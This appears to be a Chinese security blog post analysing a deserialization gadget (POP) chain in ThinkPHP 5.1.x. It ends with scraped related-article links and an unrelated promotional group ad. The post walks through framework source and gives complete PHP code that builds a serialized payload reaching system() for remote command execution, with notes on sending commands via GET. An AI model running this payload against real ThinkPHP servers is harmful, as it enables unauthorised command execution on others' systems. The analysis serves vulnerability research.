ThinkPHP v5.1.x POP 链分析
环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函数或类方法以执行某种敏感操作的调用堆栈反序列化常用魔法函数
前言
我所理解的 POP Chain:
利用魔术方法并巧妙构造特殊属性调用一系列函数或类方法以执行某种敏感操作的调用堆栈
反序列化常用魔法函数
__wakeup, unserialize() 执行前调用
__destruct, 对销毁的时候调用
__toString, 类被当成字符串时的回应方法
__construct(),当对象创建(new)时会自动调用,注意在
unserialize()时并不会自动调用
__sleep(),serialize()时会先被调用
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
phar 文件通过 phar:// 伪协议拓宽攻击面 因为 phar 文件会以序列化的形式存储用户自定义的meta-data,所以在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,深入了解请至:https://paper.seebug.org/680/
如果对反序列化没有了解的话建议先学习下相关内容ThinkPHP v5.1.x POP 链分析安装这里使用的是官方 ThinkPHP V5.1.38composer 部署composer create-project topthink/think=5.1.38 tp5.1.38利用链全局搜索函数 __destruct
来到 /thinkphp/library/think/process/pipes/Windows.php
public function __destruct()
{
$this->close();
$this->removeFiles();
}
. . . . . .
/**
* 删除临时文件
*/
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
看下 file_exists 的描述f
ile_exists ( string $filename )
: bool如果传入的 $filename 是个反序列化的对象,在被 file_exists 当作字符串处理的时候就会触发其 __toString 方法(如果有的话)所以下面就是找含 __toString 方法的类
来到 /thinkphp/library/think/model/concern/Conversion.php
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
. . . . . .
public function __toString()
{
return $this->toJson();
}
可以看到,在 toJson() 函数中又调用了 toArray() 函数如果 toArray() 函数中存在并使用某个可控变量的方法,那么我们就可以利用这点去触发其他类的 __call 方法下面是 toArray() 函数的定义,$this->append 作为类属性是可控的,所以 $relation 和 $name 也就可控了,于是 $relation->visible($name); 就成了这个 POP 链中的中间跳板
phper在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、TP6,laravel,YII2,Redis,Swoole、Kafka、Mysql优化、shell脚本、Docker、微服务、Nginx等多个知识点高级进阶干货需要的可以免费分享给大家,需要的(点击→)我的官方群677079770https://jq.qq.com/?_wv=1027&k=5BoEMVl
public function toArray()
{
$item = [];
$hasVisible = false;
. . . . . .
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
. . . . . .
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}
那我们在这里应该传入怎么样的值以及什么数据呢,先看下 $relation 是如何处理得到的
跟进 getRelation,在 /thinkphp/library/think/model/concern/RelationShip.php 中找到函数定义
trait RelationShip
{
. . . . . .
/**
* 获取当前模型的关联模型数据
* @access public
* @param string $name 关联方法名
* @return mixed
*/
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
. . . . . .
}
由于 getRelation 最终都会 return; 导致返回 NULL,所以 下面的 if (!$relation) 一定成立所以直接跟进后面的 getAttr,在 /thinkphp/library/think/model/concern/Attribute.php 找到其定义
trait Attribute
{
. . . . . .
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
. . . . . .
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
. . . . . .
}
}
从 getAttr ---> getData 返回 data 数组中同名键值的元素值,即 $relation <---- $this->data[$name],我们需要的 $data 和 $append 分别位于 Attribute 和 Conversion,且两者都是 trait 类型Trait 可以说是和 Class 相似,是 PHP 5.4.0 开始实现的一种代码复用的方法,可以使用 use 加载
详情可以看官方手册 PHP: Trait - Manual
所以接下来是寻找一个同时使用了 Attribute 和 Conversion 的类
发现只有 /thinkphp/library/think/Model.php 满足条件
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;
. . . . . .
}
下面就需要找到一个没有 visible 方法却有 __call 方法的类作为执行点找到 /thinkphp/library/think/Request.php 中的 Request 类
class Request
{
. . . . . .
/**
* 扩展方法
* @var array
*/
protected $hook = [];
. . . . . .
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
. . . . . .
}
这里的回调参数来源于 $hook 数组,而且方法名和参数都是可控的,不过 array_unshift 函数会把若干元素前置到数组的开头
$queue = array("orange", "banana");
array_unshift($queue, "apple", "raspberry");
print_r($queue);
///
Array
(
[0] => apple
[1] => raspberry
[2] => orange
[3] => banana
)
这样的话明显就很难执行命令了,因为参数数组的第一个元素始终是 $this,无法直接执行我们想要的命令, 需要其他某种对参数不是这么敏感的函数作为一个新的执行点或者跳板Request 类中有一个 filterValue 函数具有过滤功能,寻找调用 filterValue 的地方以便控制 $value 和 $filters 好执行命令
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
. . . . . .
}
return $value;
}
Request 类中的 input 函数由 array_walk_recursive 调用了 filterValue,但是参数仍不可控,再往上寻找调用点看看
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
. . . . . .
return $data;
}
Request 类中的 param 函数调用了 input 函数,但同样参数不可控,再往上寻找调用点
public function param($name = '', $default = null, $filter = '')
{
. . . . . .
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
转到 isAjax 函数的定义
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
这里 $ajax 参数没有对类型的限制,而且 param 的参数来自 $this->config,是可控的,param 在最后所调用的 input 函数的 $this->param, $name 就都可控跟进 get 和 route 函数不难发现 $this->param 的值来自 GET 请求
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
/*
http://127.0.0.1:9000/public/?test=pwd
$this->param = array("test"=>"pwd")
*/
那么回到 input 函数看处理流程
首先 $this->getData($data, $name) 得到 $data,跟进分析,返回 $data 为 $data[$val] 的值,即 $data[$name]
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
回到 input,接着处理 $filter = $this->getFilter($filter, $default);getFilter 的两个参数分别为 '' 和 null 且都不可控,但是跟进不难看出最后返回 $filter 的值就是 $this->filter,虽然后面 $filter[] = $default; 会给 filter 数组追加个值为 null 的元素,但后面 filterValue 中的 array_pop 函数正好给去掉了
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
这样就得到一条可控变量的函数调用链,最后执行命令
下面简单梳理下流程 通过 Windows 类 __destruct() 方法调用到 file_exists 触发某类的 __toString() 来到 toArray() 函数 通过控制分别位于 Attribute 和 Conversion 的 $data 和 $append 变量执行在 Request 中不存在的 visible 函数进而触发其 __call() 在 Request 通过控制 $hook $filter $config 三个变量的值注入最终的 callback 名称和参数,再经这么一系列函数调用执行命令
__call() ---> call_user_func_array() ---> isAjax() ---> param() ---> input() ---> filterValue() ---> call_user_func()
构造 Payload
由于 Model 类是 abstract 类型,无法实例化,而extends Model 的也只有一个 Pivot 类,所以就用它吧
<?php
namespace think;
abstract class Model
{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["a"=>[""]];
$this->data = ["a"=>new Request()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think;
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
自己先构造一个利用点反序列化我们的内容,生成好 payload,GET 传入要执行的命令,命令别忘了 urlencode
查看调用堆栈
ThinkPHP v5.1.x POP 链分析的更多相关文章
- ThinkPHP V5.0 正式版发布
ThinkPHP5.0版本是一个颠覆和重构版本,官方团队历时十月,倾注了大量的时间和精力,采用全新的架构思想,引入了更多的PHP新特性,优化了核心,减少了依赖,实现了真正的惰性加载,支持compose ...
- ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截
2018年12月10日,ThinkPHP v5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞.阿里云态势感知已捕获多起基于该漏洞的真实攻击,并对该漏洞原理以及漏洞利用方式进行分析.现在,对于 ...
- thinkphp v5.1 开发笔记
一.安装TP5.1 1.使用git安装 <1>下载Tp git clone https://github.com/top-think/think tp5 <2>安装核心库 gi ...
- yso中URLDNS的pop链分析(重新分析整理)
#发现之前对这个链关注的点有点问题,重新分析了一下 由于最近面试的过程中被问到了yso中URLDNS这个pop链的工作原理,当时面试因为是谈到shiro的怎么检测和怎么攻击时谈到了这个.其实在实战中用 ...
- Thinkphp V5.X 远程代码执行漏洞 - POC(搬运)
文章来源:lsh4ck's Blog 原文链接: https://www.77169.com/html/237165.html Thinkphp 5.0.22 http://192.168.1.1 ...
- thinkphp v5.1.36 LTS 如果设置跨域访问
修改route/route.php中的路由例如 Route::get('new/:id', 'News/read') ->ext('html') ->header('Access-Cont ...
- ThinkPHP 数据库操作(三) : 查询方法、查询语法、链式操作
查询方法 条件查询方法 where 方法 可以使用 where 方法进行 AND 条件查询: Db::table('think_user') ->where('name','like','%th ...
- 在phpstudy中安装并使用ThinkPHP 5
最近在慕课网学习 thinkphp,由于教师使用的是 MAC下的 MAMP 环境,而我使用的是 win7 的 phpstudy,区别不大,记录在这里,方便查询. 不同系统集成环境安装: m ...
- 6——ThinkPhp中的请求:
<?php namespace app\index\controller; use think\console\Input; use think\Controller; use think\Db ...
随机推荐
- Web安全之CSRF漏洞整理总结
这两天整理和编写了csrf的靶场,顺便也复习了以前学习csrf的点,这里记录下学习的总结点. 0x01 关于CSRF 跨站请求伪造 CSRF(Cross-site request forgery)跨站 ...
- [NOIp2010] luogu P1541 乌龟棋
英语老师讲 mind map,真想说一句"声微饭否".为什么wyy的歌词总是快一点点.在报csp. 题目描述 你在一个序列上向正方向行走,起点是 a[0]a[0]a[0].每一步可 ...
- Halcon一日一练:阈值分割的几个算子
threshold(Image:Region:MinGray:MaxGray:) 功能:得到灰度值在最小与最大这间的那些部分.其返回仍然是一个区域. MinGray<MaxGray. 这个算子可 ...
- WPF实现放大镜
这是一个之前遗留的问题.wpf里面有很多很多的东西,我以前用的真的只是其中很小的一个角落都不到. 需求背景:图片来源于相机拍摄,由于对像素要求,拍出来的图像素比较高,原图尺寸为30722048,以目前 ...
- vue实现跑马灯效果
vue实现跑马灯效果为阿中哥哥应援 1.效果图 2.实现代码 <!DOCTYPE html> <html lang="en"> <head> & ...
- java 链接mysql
import java.sql.*; public class ConnectSql { static final String JDBC_DRIVER = "com.mysql.jdbc. ...
- Vue系列---理解Vue.nextTick使用及源码分析(五)
_ 阅读目录 一. 什么是Vue.nextTick()? 二. Vue.nextTick()方法的应用场景有哪些? 2.1 更改数据后,进行节点DOM操作. 2.2 在created生命周期中进行DO ...
- Centos7 安装redis 并新建springboot工程使用Redis 做session
Redis 安装 就是解压运行,根据自己的爱好,放到文件夹中 tar -zxvf redis-5.0.4.tar.gz yum install gcc cd redis-5.0.4 make MALL ...
- [最新方法]终于解决了 Ubuntu 14.04 网络图标不见了 的问题|Ubuntu14.04 网络图标消失
解决 Ubuntu 14.04 网络图标不见了 消失的问题 这个问题困扰了我大半年了.但是我就硬是不想重新装系统.搜索研究一番发现,这个问题是nm-applet的问题. 然后偶然发现nm-ap ...
- day14作业
文件内容如下,标题为:姓名,性别,年纪,薪资 egon male 18 3000 alex male 38 30000 wupeiqi female 28 20000 yuanhao female 2 ...